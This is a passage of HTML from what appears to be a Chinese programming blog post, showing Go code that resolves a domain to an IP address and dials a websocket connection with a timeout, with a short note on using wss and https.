20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ho</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        origin </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;https://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ip_addr</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">else</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        origin </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;http://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uri</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Host</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NewConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> origin</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket_domain</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&amp;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Timeout</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">10</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> time</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Second</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DialConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">用 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">net</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">ResolveIPAddr</span></code>先获取域名所对应ip地址，再进行wss和https协议的使用即可。</p><p 